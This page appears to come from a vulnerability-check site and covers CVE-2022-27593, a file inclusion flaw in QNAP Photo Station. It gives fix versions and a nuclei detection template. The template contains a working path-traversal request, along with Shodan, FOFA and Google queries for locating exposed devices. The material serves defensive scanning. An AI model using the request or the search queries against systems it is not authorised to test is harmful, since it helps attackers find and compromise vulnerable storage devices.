QNAP QTS Photo Station External Reference - Local File Inclusion

Exploited in the wild. Listed by CISA on 2022-09-08; known to be used by ransomware.

criticalseverity

9.1CVSS score

87.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.

How to confirm it

Send: GET {{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php.
Positive when: contains in response "!function(p,qa){" and "module.exports" and "application/javascript" AND status 200

Run it with nuclei: nuclei -id CVE-2022-27593 -u <target>

The full check

id: CVE-2022-27593

info:
  name: QNAP QTS Photo Station External Reference - Local File Inclusion
  author: allenwest24
  severity: critical
  description: |
    QNAP QTS Photo Station External Reference is vulnerable to local file inclusion via an externally controlled reference to a resource vulnerability. If exploited, this could allow an attacker to modify system files. The vulnerability is fixed in the following versions: QTS 5.0.1: Photo Station 6.1.2 and later QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later QTS 4.3.6: Photo Station 5.7.18 and later QTS 4.3.3: Photo Station 5.4.15 and later QTS 4.2.6: Photo Station 5.2.14 and later.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest security patches and updates provided by QNAP to fix the local file inclusion vulnerability in QTS Photo Station.
  reference:
    - https://attackerkb.com/topics/7We3SjEYVo/cve-2022-27593
    - https://www.qnap.com/en/security-advisory/qsa-22-24
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27593
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2022-27593
    cwe-id: CWE-610
    epss-score: 0.87908
    epss-percentile: 0.99765
    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: qnap
    product: photo_station
    shodan-query:
      - title:"QNAP"
      - http.title:"photo station"
      - http.title:"qnap"
      - 'content-length: 580 "http server 1.0"'
    fofa-query:
      - title="photo station"
      - title="qnap"
    google-query:
      - intitle:"qnap"
      - intitle:"photo station"
  tags: cve2022,cve,qnap,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "!function(p,qa){"
          - "module.exports"
          - "application/javascript"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from